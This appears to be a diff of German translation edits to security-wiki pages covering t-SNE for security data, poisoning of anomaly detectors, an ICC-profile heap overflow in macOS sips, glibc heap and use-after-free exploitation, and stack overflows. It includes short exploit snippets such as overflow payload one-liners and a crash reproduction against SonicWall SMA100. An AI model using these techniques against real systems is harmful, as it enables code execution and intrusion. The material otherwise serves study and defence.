> *Anwendungsfälle in der Cybersicherheit:* t-SNE wird häufig verwendet, um **hochdimensionale Sicherheitsdaten für die menschliche Analyse zu visualisieren**. Zum Beispiel könnten Analysten in einem Sicherheitsoperationszentrum einen Ereignisdatenbestand mit Dutzenden von Merkmalen (Portnummern, Frequenzen, Byte-Zahlen usw.) nehmen und t-SNE verwenden, um ein 2D-Diagramm zu erstellen. Angriffe könnten in diesem Diagramm ihre eigenen Cluster bilden oder sich von normalen Daten trennen, was sie leichter identifizierbar macht. Es wurde auf Malware-Datensätze angewendet, um Gruppierungen von Malware-Familien zu sehen oder auf Netzwerk-Eindringdaten, wo verschiedene Angriffsarten deutlich gruppiert sind, was weitere Untersuchungen leitet. Im Wesentlichen bietet t-SNE eine Möglichkeit, Struktur in Cyberdaten zu sehen, die sonst unverständlich wäre.
|
||||
> *Anwendungsfälle in der Cybersicherheit:* t-SNE wird häufig verwendet, um **hochdimensionale Sicherheitsdaten für die menschliche Analyse zu visualisieren**. Zum Beispiel könnten Analysten in einem Sicherheitsoperationszentrum einen Ereignisdatenbestand mit Dutzenden von Merkmalen (Portnummern, Frequenzen, Byte-Zahlen usw.) nehmen und t-SNE verwenden, um ein 2D-Diagramm zu erstellen. Angriffe könnten in diesem Diagramm ihre eigenen Cluster bilden oder sich von normalen Daten trennen, was sie leichter identifizierbar macht. Es wurde auf Malware-Datensätze angewendet, um Gruppierungen von Malware-Familien zu sehen, oder auf Daten zu Netzwerkangriffen, bei denen sich verschiedene Angriffsarten deutlich gruppieren, was weitere Untersuchungen leitet. Im Wesentlichen bietet t-SNE eine Möglichkeit, Strukturen in Cyberdaten zu sehen, die sonst unverständlich wären.
|
||||
|
||||
#### Annahmen und Einschränkungen
|
||||
|
||||
t-SNE ist großartig für die visuelle Entdeckung von Mustern. Es kann Cluster, Untercluster und Ausreißer aufdecken, die andere lineare Methoden (wie PCA) möglicherweise nicht erkennen. Es wurde in der Cybersicherheitsforschung verwendet, um komplexe Daten wie Malware-Verhaltensprofile oder Netzwerkverkehrsmuster zu visualisieren. Da es die lokale Struktur bewahrt, ist es gut darin, natürliche Gruppierungen zu zeigen.
|
||||
|
||||
Allerdings ist t-SNE rechnerisch aufwendiger (ungefähr $O(n^2)$), sodass es für sehr große Datensätze möglicherweise eine Stichprobe erfordert. Es hat auch Hyperparameter (Perplexität, Lernrate, Iterationen), die die Ausgabe beeinflussen können – z.B. könnten unterschiedliche Perplexitätswerte Cluster in unterschiedlichen Maßstäben offenbaren. t-SNE-Diagramme können manchmal missinterpretiert werden – Abstände in der Karte sind global nicht direkt bedeutungsvoll (es konzentriert sich auf lokale Nachbarschaften, manchmal können Cluster künstlich gut getrennt erscheinen). Außerdem ist t-SNE hauptsächlich für die Visualisierung gedacht; es bietet keinen direkten Weg, neue Datenpunkte zu projizieren, ohne neu zu berechnen, und es ist nicht dafür gedacht, als Vorverarbeitung für prädiktive Modellierung verwendet zu werden (UMAP ist eine Alternative, die einige dieser Probleme mit schnellerer Geschwindigkeit angeht).
|
||||
Allerdings ist t-SNE rechnerisch aufwendiger (ungefähr $O(n^2)$), sodass es für sehr große Datensätze möglicherweise eine Stichprobe erfordert. Es hat auch Hyperparameter (Perplexität, Lernrate, Iterationen), die die Ausgabe beeinflussen können – z.B. könnten unterschiedliche Perplexitätswerte Cluster in unterschiedlichen Maßstäben offenbaren. t-SNE-Diagramme können manchmal missinterpretiert werden – Abstände in der Karte sind nicht global direkt bedeutungsvoll (es konzentriert sich auf lokale Nachbarschaften, manchmal können Cluster künstlich gut getrennt erscheinen). Außerdem ist t-SNE hauptsächlich für die Visualisierung gedacht; es bietet keinen direkten Weg, neue Datenpunkte zu projizieren, ohne neu zu berechnen, und es ist nicht dafür gedacht, als Vorverarbeitung für prädiktive Modellierung verwendet zu werden (UMAP ist eine Alternative, die einige dieser Probleme mit schnellerer Geschwindigkeit angeht).
|
||||
|
||||
<details>
|
||||
<summary>Beispiel -- Visualisierung von Netzwerkverbindungen
|
||||
@ -432,7 +432,7 @@ plt.legend()
|
||||
plt.tight_layout()
|
||||
plt.show()
|
||||
```
|
||||
Hier haben wir unser vorheriges 4D-Normaldatenset mit einer Handvoll extremer Ausreißer kombiniert (die Ausreißer haben ein Merkmal („Dauer“), das sehr hoch eingestellt ist, um ein ungewöhnliches Muster zu simulieren). Wir führen t-SNE mit einer typischen Perplexität von 30 aus. Die Ausgabedaten data_2d haben die Form (1505, 2). Wir werden in diesem Text tatsächlich nicht plotten, aber wenn wir es tun würden, würden wir erwarten, vielleicht drei enge Cluster zu sehen, die den 3 normalen Clustern entsprechen, und die 5 Ausreißer erscheinen als isolierte Punkte weit entfernt von diesen Clustern. In einem interaktiven Workflow könnten wir die Punkte nach ihrem Label (normal oder welcher Cluster, vs Anomalie) einfärben, um diese Struktur zu überprüfen. Selbst ohne Labels könnte ein Analyst bemerken, dass diese 5 Punkte im leeren Raum auf dem 2D-Plot sitzen und sie markieren. Dies zeigt, wie t-SNE eine leistungsstarke Hilfe zur visuellen Anomalieerkennung und Clusterinspektion in Cybersecurity-Daten sein kann, die die oben genannten automatisierten Algorithmen ergänzt.
|
||||
Hier haben wir unser vorheriges 4D-Normaldatenset mit einer Handvoll extremer Ausreißer kombiniert (die Ausreißer haben ein Merkmal („Dauer“) sehr hoch eingestellt, um ein ungewöhnliches Muster zu simulieren). Wir führen t-SNE mit einer typischen Perplexität von 30 aus. Die Ausgabedaten data_2d haben die Form (1505, 2). Wir werden in diesem Text tatsächlich nicht plotten, aber wenn wir es tun würden, würden wir erwarten, vielleicht drei enge Cluster zu sehen, die den 3 normalen Clustern entsprechen, und die 5 Ausreißer erscheinen als isolierte Punkte weit entfernt von diesen Clustern. In einem interaktiven Workflow könnten wir die Punkte nach ihrem Label (normal oder welcher Cluster, vs Anomalie) einfärben, um diese Struktur zu überprüfen. Selbst ohne Labels könnte ein Analyst bemerken, dass diese 5 Punkte im leeren Raum auf dem 2D-Plot sitzen und sie markieren. Dies zeigt, wie t-SNE eine leistungsstarke Hilfe zur visuellen Anomalieerkennung und Clusterinspektion in Cybersecurity-Daten sein kann, die die oben genannten automatisierten Algorithmen ergänzt.
|
||||
|
||||
</details>
|
||||
|
||||
@ -482,11 +482,11 @@ Jüngste Arbeiten haben gezeigt, dass **unüberwachte Lernalgorithmen *nicht* im
|
||||
|
||||
* **Datenvergiftung gegen Anomalie-Detektoren.** Chen *et al.* (IEEE S&P 2024) haben demonstriert, dass das Hinzufügen von nur 3 % manipuliertem Verkehr die Entscheidungsgrenze von Isolation Forest und ECOD verschieben kann, sodass echte Angriffe normal erscheinen. Die Autoren veröffentlichten ein Open-Source-PoC (`udo-poison`), das automatisch Vergiftungs-Punkte synthetisiert.
|
||||
* **Backdooring von Clustering-Modellen.** Die *BadCME*-Technik (BlackHat EU 2023) implantiert ein winziges Trigger-Muster; wann immer dieses Trigger erscheint, platziert ein K-Means-basierter Detektor das Ereignis leise in einem „gutartigen“ Cluster.
|
||||
* **Umgehung von DBSCAN/HDBSCAN.** Ein akademischer Preprint von 2025 von der KU Leuven zeigte, dass ein Angreifer Beacon-Muster erstellen kann, die absichtlich in Dichte-Lücken fallen, wodurch sie effektiv in *Rausch*-Labels verborgen bleiben.
|
||||
* **Umgehung von DBSCAN/HDBSCAN.** Ein akademischer Preprint von 2025 von der KU Leuven zeigte, dass ein Angreifer Beacon-Muster erstellen kann, die absichtlich in Dichte-Lücken fallen, wodurch sie effektiv in *Rausch*-Labels versteckt sind.
|
||||
|
||||
Maßnahmen, die an Bedeutung gewinnen:
|
||||
|
||||
1. **Modellsanierung / TRIM.** Vor jeder Retraining-Epoche die 1–2 % der Punkte mit dem höchsten Verlust (getrimmte maximale Wahrscheinlichkeit) verwerfen, um die Vergiftung dramatisch zu erschweren.
|
||||
1. **Modellsanierung / TRIM.** Vor jeder Retrainings-Epoche die 1–2 % der Punkte mit dem höchsten Verlust (getrimmte maximale Wahrscheinlichkeit) verwerfen, um die Vergiftung dramatisch zu erschweren.
|
||||
2. **Konsens-Ensembling.** Kombinieren Sie mehrere heterogene Detektoren (z. B. Isolation Forest + GMM + ECOD) und schlagen Sie Alarm, wenn *irgendein* Modell einen Punkt kennzeichnet. Forschungen zeigen, dass dies die Kosten für den Angreifer um >10× erhöht.
|
||||
3. **Abstandsbasierte Verteidigung für Clustering.** Cluster mit `k` verschiedenen Zufalls-Samen neu berechnen und Punkte ignorieren, die ständig zwischen Clustern wechseln.
|
||||
|
||||
|
||||
@ -25,7 +25,7 @@ buffer[i] = 0; // no bounds check vs allocated size!
|
||||
* Konfigurieren Sie die Tag-Tabelle so, dass der **`offsetToCLUT` der Tag-Größe** (`tagDataSize`) entspricht.
|
||||
* Platzieren Sie von Angreifern kontrollierte Daten direkt nach dem Tag, sodass die 16 Nullschreibvorgänge die Metadaten des Allokators überschreiben.
|
||||
|
||||
2. **Auslösen des Parsens mit einer beliebigen sips-Operation, die das Profil berührt**
|
||||
2. **Auslösen des Parsings mit einer beliebigen sips-Operation, die das Profil berührt**
|
||||
|
||||
```bash
|
||||
# Verifizierungspfad (keine Ausgabedatei erforderlich)
|
||||
@ -77,7 +77,7 @@ uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
|
||||
```
|
||||
## Auswirkungen
|
||||
|
||||
Das Öffnen oder Verarbeiten eines manipulierten ICC-Profils führt zu einer **willkürlichen Codeausführung** im Kontext des aufrufenden Benutzers (Vorschau, QuickLook, Safari-Bilddarstellung, Mail-Anhänge usw.), wodurch Gatekeeper umgangen wird, da das Profil in ansonsten harmlosen Bildern (PNG/JPEG/TIFF) eingebettet werden kann.
|
||||
Das Öffnen oder Verarbeiten eines manipulierten ICC-Profils führt zu einer remote **willkürlichen Codeausführung** im Kontext des aufrufenden Benutzers (Vorschau, QuickLook, Safari-Bilddarstellung, Mail-Anhänge usw.), wodurch Gatekeeper umgangen wird, da das Profil in ansonsten harmlosen Bildern (PNG/JPEG/TIFF) eingebettet werden kann.
|
||||
|
||||
## Erkennung & Minderung
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Ein Heap Overflow ist wie ein [**Stack Overflow**](../stack-overflow/index.html), aber im Heap. Grundsätzlich bedeutet es, dass ein gewisser Speicher im Heap reserviert wurde, um einige Daten zu speichern, und **die gespeicherten Daten größer waren als der reservierte Speicher.**
|
||||
|
||||
Bei Stack Overflows wissen wir, dass einige Register wie der Befehlszeiger oder der Stack-Frame aus dem Stack wiederhergestellt werden und es möglich sein könnte, dies auszunutzen. Im Fall von Heap Overflows **wird standardmäßig keine sensiblen Informationen** im Heap-Chunk gespeichert, das überlaufen werden kann. Es könnte jedoch sensible Informationen oder Zeiger geben, sodass die **Kritikalität** dieser Schwachstelle **abhängig** davon ist, **welche Daten überschrieben werden könnten** und wie ein Angreifer dies ausnutzen könnte.
|
||||
Bei Stack Overflows wissen wir, dass einige Register wie der Befehlszeiger oder der Stack-Frame aus dem Stack wiederhergestellt werden und es möglich sein könnte, dies auszunutzen. Im Fall von Heap Overflows **wird standardmäßig keine sensiblen Informationen** im Heap-Chunk gespeichert, das überlaufen werden kann. Es könnte jedoch sensible Informationen oder Zeiger geben, sodass die **Kritikalität** dieser Schwachstelle **abhängt** von **den Daten, die überschrieben werden könnten**, und wie ein Angreifer dies ausnutzen könnte.
|
||||
|
||||
> [!TIP]
|
||||
> Um Überlauf-Offsets zu finden, können Sie die gleichen Muster wie bei [**Stack Overflows**](../stack-overflow/index.html#finding-stack-overflows-offsets) verwenden.
|
||||
@ -17,21 +17,21 @@ Bei Stack Overflows ist die Anordnung und die Daten, die zum Zeitpunkt des Ausl
|
||||
|
||||
Im Fall eines Heap Overflows ist der verwendete Speicher jedoch nicht linear, sondern **zugewiesene Chunks befinden sich normalerweise an getrennten Speicherpositionen** (nicht nebeneinander), aufgrund von **Bins und Zonen**, die Zuweisungen nach Größe trennen, und weil **zuvor freigegebener Speicher verwendet wird**, bevor neue Chunks zugewiesen werden. Es ist **kompliziert zu wissen, welches Objekt mit dem anfälligen** für einen Heap Overflow kollidieren wird. Daher ist es notwendig, einen **zuverlässigen Weg zu finden, um das gewünschte Objekt im Speicher** neben dem überlaufbaren zu platzieren.
|
||||
|
||||
Eine der Techniken, die dafür verwendet wird, ist **Heap Grooming**, die beispielsweise [**in diesem Beitrag**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) verwendet wird. In dem Beitrag wird erklärt, wie im iOS-Kernel, wenn eine Zone keinen Speicher mehr hat, um Chunks zu speichern, sie um eine Kernel-Seite erweitert wird, und diese Seite in Chunks der erwarteten Größen aufgeteilt wird, die in der Reihenfolge verwendet werden (bis zur iOS-Version 9.2, danach werden diese Chunks auf eine randomisierte Weise verwendet, um die Ausnutzung dieser Angriffe zu erschweren).
|
||||
Eine der Techniken, die dafür verwendet wird, ist **Heap Grooming**, die beispielsweise [**in diesem Beitrag**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) verwendet wird. In dem Beitrag wird erklärt, wie im iOS-Kernel, wenn eine Zone keinen Speicher mehr hat, um Chunks zu speichern, sie um eine Kernel-Seite erweitert wird, und diese Seite in Chunks der erwarteten Größen aufgeteilt wird, die in der Reihenfolge verwendet werden (bis zur iOS-Version 9.2, dann werden diese Chunks auf eine randomisierte Weise verwendet, um die Ausnutzung dieser Angriffe zu erschweren).
|
||||
|
||||
Daher wird in dem vorherigen Beitrag, in dem ein Heap Overflow auftritt, um das überlaufene Objekt dazu zu bringen, mit einem Opferobjekt zu kollidieren, mehrere **`kallocs` von mehreren Threads erzwungen, um sicherzustellen, dass alle freien Chunks gefüllt sind und dass eine neue Seite erstellt wird**.
|
||||
|
||||
Um dieses Füllen mit Objekten einer bestimmten Größe zu erzwingen, ist die **out-of-line Zuweisung, die mit einem iOS Mach-Port verbunden ist**, ein idealer Kandidat. Durch das Anpassen der Größe der Nachricht ist es möglich, die Größe der `kalloc`-Zuweisung genau anzugeben, und wenn der entsprechende Mach-Port zerstört wird, wird die entsprechende Zuweisung sofort wieder an `kfree` freigegeben.
|
||||
|
||||
Dann können einige dieser Platzhalter **freigegeben** werden. Die **`kalloc.4096`-Freiliste gibt Elemente in einer Last-In-First-Out-Reihenfolge frei**, was im Grunde bedeutet, dass, wenn einige Platzhalter freigegeben werden und der Exploit versucht, mehrere Opferobjekte zuzuweisen, während er versucht, das anfällige Objekt für den Overflow zuzuweisen, es wahrscheinlich ist, dass dieses Objekt von einem Opferobjekt gefolgt wird.
|
||||
Dann können einige dieser Platzhalter **freigegeben** werden. Die **`kalloc.4096`-Freiliste gibt Elemente in einer Last-in-First-out-Reihenfolge frei**, was im Grunde bedeutet, dass, wenn einige Platzhalter freigegeben werden und der Exploit versucht, mehrere Opferobjekte zuzuweisen, während er versucht, das anfällige Objekt für den Overflow zuzuweisen, es wahrscheinlich ist, dass dieses Objekt von einem Opferobjekt gefolgt wird.
|
||||
|
||||
### Beispiel libc
|
||||
|
||||
[**Auf dieser Seite**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) ist es möglich, eine grundlegende Heap Overflow-Emulation zu finden, die zeigt, wie das Überschreiben des prev in use-Bits des nächsten Chunks und der Position der prev-Größe es ermöglicht, einen **verwendeten Chunk zu konsolidieren** (indem er denkt, er sei ungenutzt) und **dann erneut zuzuweisen**, wodurch es möglich ist, Daten zu überschreiben, die in einem anderen Zeiger verwendet werden.
|
||||
[**Auf dieser Seite**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) ist es möglich, eine grundlegende Heap Overflow-Emulation zu finden, die zeigt, wie das Überschreiben des prev in use-Bits des nächsten Chunks und der Position der prev-Größe es ermöglicht, einen **verwendeten Chunk zu konsolidieren** (indem er denkt, dass er ungenutzt ist) und **dann erneut zuzuweisen**, wodurch es möglich ist, Daten zu überschreiben, die in einem anderen Zeiger verwendet werden.
|
||||
|
||||
Ein weiteres Beispiel aus [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) zeigt ein sehr einfaches Beispiel eines CTF, bei dem ein **Heap Overflow** ausgenutzt werden kann, um die Gewinnerfunktion aufzurufen, um **die Flagge zu erhalten**.
|
||||
|
||||
Im [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) Beispiel ist es möglich zu sehen, wie durch das Ausnutzen eines Buffer Overflows es möglich ist, **in einem nahegelegenen Chunk eine Adresse zu überschreiben**, an die **willkürliche Daten des Benutzers** geschrieben werden sollen.
|
||||
Im [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) Beispiel ist es möglich zu sehen, wie durch das Ausnutzen eines Buffer Overflows es möglich ist, **in einem nahen Chunk eine Adresse zu überschreiben**, an die **willkürliche Daten des Benutzers** geschrieben werden sollen.
|
||||
|
||||
### Beispiel ARM64
|
||||
|
||||
@ -47,7 +47,7 @@ python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||
|
||||
### Beispiel aus der Praxis: CVE-2025-40597 – Missbrauch von `__sprintf_chk`
|
||||
|
||||
Im SonicWall SMA100 Firmware 10.2.1.15 allokiert das Reverse-Proxy-Modul `mod_httprp.so` einen **0x80-Byte** Heap-Chunks und fügt dann mehrere Strings mit `__sprintf_chk` zusammen:
|
||||
Im SonicWall SMA100 Firmware 10.2.1.15 allokiert das Reverse-Proxy-Modul `mod_httprp.so` einen **0x80-Byte** Heap-Chunk und fügt dann mehrere Strings mit `__sprintf_chk` zusammen:
|
||||
```c
|
||||
char *buf = calloc(0x80, 1);
|
||||
/* … */
|
||||
@ -59,7 +59,7 @@ __sprintf_chk(buf, /* destination (0x80-byte chunk) */
|
||||
```
|
||||
`__sprintf_chk` ist Teil von **_FORTIFY_SOURCE**. Wenn es einen **positiven** `size`-Parameter erhält, überprüft es, ob der resultierende String in den Zielpuffer passt. Durch das Übergeben von **`-1` (0xFFFFFFFFFFFFFFFF)** haben die Entwickler effektiv die **Grenzprüfung deaktiviert** und den gesicherten Aufruf wieder in ein klassisches, unsicheres `sprintf` umgewandelt.
|
||||
|
||||
Das Bereitstellen eines übermäßig langen **`Host:`**-Headers ermöglicht es einem Angreifer daher, **den 0x80-Byte-Chunck zu überlaufen und die Metadaten des folgenden Heap-Chunks zu überschreiben** (tcache / fast-bin / small-bin, je nach Allokator). Ein Absturz kann reproduziert werden mit:
|
||||
Das Bereitstellen eines übermäßig langen **`Host:`**-Headers ermöglicht es einem Angreifer daher, **den 0x80-Byte-Chunks zu überlaufen und die Metadaten des folgenden Heap-Chunks zu überschreiben** (tcache / fast-bin / small-bin, je nach Allokator). Ein Absturz kann reproduziert werden mit:
|
||||
```python
|
||||
import requests, warnings
|
||||
warnings.filterwarnings('ignore')
|
||||
|
||||
@ -49,7 +49,7 @@ Seit glibc 2.26 behält jeder Thread sein eigenes **tcache**, das *vor* dem unso
|
||||
1. Die angeforderte Größe **größer als `tcache_max`** ist (standardmäßig 0x420 auf 64-Bit), *oder*
|
||||
2. Der entsprechende tcache-Bin **bereits voll oder manuell geleert** ist (indem 7 Elemente zugewiesen und in Gebrauch gehalten werden).
|
||||
|
||||
In echten Exploits fügen Sie normalerweise eine Hilfsroutine hinzu, wie:
|
||||
In echten Exploits fügen Sie normalerweise eine Hilfsroutine hinzu wie:
|
||||
```c
|
||||
// Drain the tcache for a given size
|
||||
for(int i = 0; i < 7; i++) pool[i] = malloc(0x100);
|
||||
@ -90,22 +90,22 @@ memset(B, 'X', 0x10);
|
||||
fwrite(C2, 1, 0x10, stdout); // prints Xs
|
||||
}
|
||||
```
|
||||
Exploitation Rezept (häufig in aktuellen CTFs):
|
||||
Exploitation-Rezept (häufig in aktuellen CTFs):
|
||||
|
||||
1. **Entleere** den tcache für die Zielgröße.
|
||||
2. **Gib** einen Chunk frei, sodass er im unsortierten Bin landet.
|
||||
2. **Gib** einen Chunk frei, damit er im unsortierten Bin landet.
|
||||
3. **Allociere** eine etwas kleinere Größe – der Allocator teilt den unsortierten Chunk.
|
||||
4. **Allociere** erneut – der verbleibende Teil überlappt mit einem bereits verwendeten Chunk → UAF.
|
||||
5. Überschreibe sensible Felder (Funktionszeiger, FILE vtable usw.)
|
||||
|
||||
Eine praktische Anwendung findet sich in der 2024 HITCON Quals *Setjmp* Herausforderung, wo dieses genaue Primitive verwendet wird, um von einem UAF zu vollständiger Kontrolle über `__free_hook` zu pivotieren.{{#ref}}
|
||||
Eine praktische Anwendung findet sich in der *Setjmp*-Herausforderung der HITCON Quals 2024, wo dieses genaue Primitive verwendet wird, um von einem UAF zu vollständiger Kontrolle über `__free_hook` zu pivotieren.{{#ref}}
|
||||
../../../../references/2024_setjmp_firstfit.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
### 🛡️ Milderungen & Härtung
|
||||
|
||||
* **Safe-linking (glibc ≥ 2.32)** schützt nur die einfach verketteten *tcache*/**fastbin** Listen. Die unsortierten/kleinen/großen Bins speichern weiterhin rohe Zeiger, sodass First-Fit basierte Überlappungen weiterhin möglich sind, wenn du einen Heap-Leak erhalten kannst.
|
||||
* **Safe-linking (glibc ≥ 2.32)** schützt nur die einfach verketteten *tcache*/**fastbin**-Listen. Die unsortierten/kleinen/großen Bins speichern weiterhin rohe Zeiger, sodass Überlappungen basierend auf dem ersten Fit weiterhin möglich sind, wenn du einen Heap-Leak erhalten kannst.
|
||||
* **Heap-Zeiger-Verschlüsselung & MTE** (ARM64) betreffen x86-64 glibc noch nicht, aber Distro-Härtungsflags wie `GLIBC_TUNABLES=glibc.malloc.check=3` werden bei inkonsistenten Metadaten abbrechen und naive PoCs brechen.
|
||||
* **Füllen des tcache beim Freigeben** (vorgeschlagen für 2024 für glibc 2.41) würde die Nutzung des unsortierten Bins weiter reduzieren; beobachte zukünftige Releases bei der Entwicklung generischer Exploits.
|
||||
|
||||
@ -117,13 +117,13 @@ Eine praktische Anwendung findet sich in der 2024 HITCON Quals *Setjmp* Herausfo
|
||||
- ARM64. Use after free: Erzeuge ein Benutzerobjekt, gib es frei, erzeuge ein Objekt, das den freigegebenen Chunk erhält und schreibe darauf, **überschreibe die Position von user->password** vom vorherigen. Wiederverwende den Benutzer, um **die Passwortüberprüfung zu umgehen**.
|
||||
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
|
||||
- Das Programm erlaubt das Erstellen von Notizen. Eine Notiz hat die Notizinformationen in einem malloc(8) (mit einem Zeiger auf eine Funktion, die aufgerufen werden könnte) und einen Zeiger auf ein anderes malloc(<size>) mit dem Inhalt der Notiz.
|
||||
- Der Angriff würde darin bestehen, 2 Notizen (note0 und note1) mit größeren malloc-Inhalten als der Größe der Notizinformationen zu erstellen und sie dann freizugeben, sodass sie in den Fast Bin (oder tcache) gelangen.
|
||||
- Dann, erstelle eine weitere Notiz (note2) mit einer Inhaltsgröße von 8. Der Inhalt wird in note1 sein, da der Chunk wiederverwendet wird, wo wir den Funktionszeiger ändern könnten, um auf die Gewinnfunktion zu zeigen und dann Use-After-Free die note1 zu verwenden, um den neuen Funktionszeiger aufzurufen.
|
||||
- Der Angriff würde darin bestehen, 2 Notizen (note0 und note1) mit größeren malloc-Inhalten als der Notizinformationsgröße zu erstellen und sie dann freizugeben, damit sie in den Fast Bin (oder tcache) gelangen.
|
||||
- Dann erstelle eine weitere Notiz (note2) mit einer Inhaltsgröße von 8. Der Inhalt wird in note1 sein, da der Chunk wiederverwendet wird, wo wir den Funktionszeiger ändern könnten, um auf die Gewinnfunktion zu zeigen und dann Use-After-Free für note1 zu verwenden, um den neuen Funktionszeiger aufzurufen.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
|
||||
- Es ist möglich, etwas Speicher zu allocieren, den gewünschten Wert zu schreiben, ihn freizugeben, ihn erneut zu allocieren und da die vorherigen Daten noch vorhanden sind, wird er gemäß der neuen erwarteten Struktur im Chunk behandelt, was es ermöglicht, den Wert zu setzen, um das Flag zu erhalten.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
|
||||
- In diesem Fall ist es notwendig, 4 in einen bestimmten Chunk zu schreiben, der der erste ist, der allociert wird (auch nachdem alle von ihnen zwangsweise freigegeben wurden). Bei jedem neu allocierten Chunk wird seine Nummer im Array-Index gespeichert. Dann, allociere 4 Chunks (+ den ursprünglich allocierten), der letzte wird 4 enthalten, gib sie frei und zwinge die Reallokation des ersten, der den letzten freigegebenen Chunk verwenden wird, der den 4 enthält.
|
||||
- 2024 HITCON Quals Setjmp Write-up (Quarkslab) – praktischer First-Fit / unsorted-split Überlappungsangriff: <https://ctftime.org/writeup/39355>
|
||||
- Angstrom CTF 2024 *heapify* Write-up – Missbrauch der unsortierten Bin-Splittung, um libc zu leaken und Überlappung zu gewinnen: <https://hackmd.io/@aneii11/H1S2snV40>
|
||||
- In diesem Fall ist es notwendig, 4 in einen bestimmten Chunk zu schreiben, der der erste ist, der allociert wird (auch nachdem alle gezwungen freigegeben wurden). Bei jedem neu allocierten Chunk wird seine Nummer im Array-Index gespeichert. Dann allociere 4 Chunks (+ den ursprünglich allocierten), der letzte wird 4 enthalten, gib sie frei und zwinge die Reallokation des ersten, der den letzten freigegebenen Chunk verwenden wird, der den 4 enthält.
|
||||
- 2024 HITCON Quals Setjmp Write-up (Quarkslab) – praktischer first-fit / unsorted-split Überlappungsangriff: <https://ctftime.org/writeup/39355>
|
||||
- Angstrom CTF 2024 *heapify* Write-up – Ausnutzung der unsortierten Bin-Splittung, um libc zu leaken und Überlappung zu gewinnen: <https://hackmd.io/@aneii11/H1S2snV40>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
## Was ist ein Stack Overflow
|
||||
|
||||
Ein **Stack Overflow** ist eine Schwachstelle, die auftritt, wenn ein Programm mehr Daten auf den Stack schreibt, als ihm zugewiesen sind. Diese überschüssigen Daten werden **benachbarte Speicherbereiche überschreiben**, was zur Korruption gültiger Daten, zur Störung des Kontrollflusses und möglicherweise zur Ausführung von schädlichem Code führt. Dieses Problem tritt häufig aufgrund der Verwendung unsicherer Funktionen auf, die keine Grenzkontrollen für Eingaben durchführen.
|
||||
Ein **Stack Overflow** ist eine Sicherheitsanfälligkeit, die auftritt, wenn ein Programm mehr Daten auf den Stack schreibt, als ihm zugewiesen sind. Diese überschüssigen Daten werden **benachbarte Speicherbereiche überschreiben**, was zur Korruption gültiger Daten, zur Störung des Kontrollflusses und möglicherweise zur Ausführung von schädlichem Code führt. Dieses Problem tritt häufig aufgrund der Verwendung unsicherer Funktionen auf, die keine Grenzkontrollen für Eingaben durchführen.
|
||||
|
||||
Das Hauptproblem bei diesem Überschreiben ist, dass der **gespeicherte Befehlszeiger (EIP/RIP)** und der **gespeicherte Basiszeiger (EBP/RBP)**, um zur vorherigen Funktion zurückzukehren, **auf dem Stack gespeichert sind**. Daher wird ein Angreifer in der Lage sein, diese zu überschreiben und **den Ausführungsfluss des Programms zu steuern**.
|
||||
|
||||
Die Schwachstelle tritt normalerweise auf, weil eine Funktion **mehr Bytes auf den Stack kopiert, als dafür zugewiesen sind**, und somit in der Lage ist, andere Teile des Stacks zu überschreiben.
|
||||
Die Sicherheitsanfälligkeit tritt normalerweise auf, weil eine Funktion **mehr Bytes auf den Stack kopiert, als dafür zugewiesen sind**, und somit in der Lage ist, andere Teile des Stacks zu überschreiben.
|
||||
|
||||
Einige gängige Funktionen, die anfällig dafür sind, sind: **`strcpy`, `strcat`, `sprintf`, `gets`**... Auch Funktionen wie **`fgets`**, **`read` & `memcpy`**, die ein **Längenargument** annehmen, könnten auf eine anfällige Weise verwendet werden, wenn die angegebene Länge größer ist als die zugewiesene.
|
||||
|
||||
@ -25,7 +25,7 @@ printf("You entered: %s\n", buffer);
|
||||
|
||||
Die häufigste Methode, um Stack Overflows zu finden, besteht darin, eine sehr große Eingabe von `A`s zu geben (z. B. `python3 -c 'print("A"*1000)'`) und einen `Segmentation Fault` zu erwarten, der anzeigt, dass die **Adresse `0x41414141` versucht wurde zuzugreifen**.
|
||||
|
||||
Darüber hinaus, sobald Sie festgestellt haben, dass eine Stack Overflow-Sicherheitsanfälligkeit vorliegt, müssen Sie den Offset finden, bis es möglich ist, die **Rücksprungadresse zu überschreiben**. Dazu wird normalerweise eine **De Bruijn-Sequenz** verwendet. Diese ist für ein gegebenes Alphabet der Größe _k_ und Teilsequenzen der Länge _n_ eine **zyklische Sequenz, in der jede mögliche Teilsequenz der Länge _n_ genau einmal** als zusammenhängende Teilsequenz erscheint.
|
||||
Darüber hinaus, sobald Sie festgestellt haben, dass es eine Stack Overflow-Sicherheitsanfälligkeit gibt, müssen Sie den Offset finden, bis es möglich ist, die **Rücksprungadresse zu überschreiben**. Dafür wird normalerweise eine **De Bruijn-Sequenz** verwendet. Diese ist für ein gegebenes Alphabet der Größe _k_ und Teilsequenzen der Länge _n_ eine **zyklische Sequenz, in der jede mögliche Teilsequenz der Länge _n_ genau einmal** als zusammenhängende Teilsequenz erscheint.
|
||||
|
||||
Auf diese Weise ist es anstelle von Hand erforderlich, herauszufinden, welcher Offset benötigt wird, um das EIP zu steuern, möglich, als Padding eine dieser Sequenzen zu verwenden und dann den Offset der Bytes zu finden, die es überschrieben haben.
|
||||
|
||||
@ -51,13 +51,13 @@ pattern search $rsp #Search the offset given the content of $rsp
|
||||
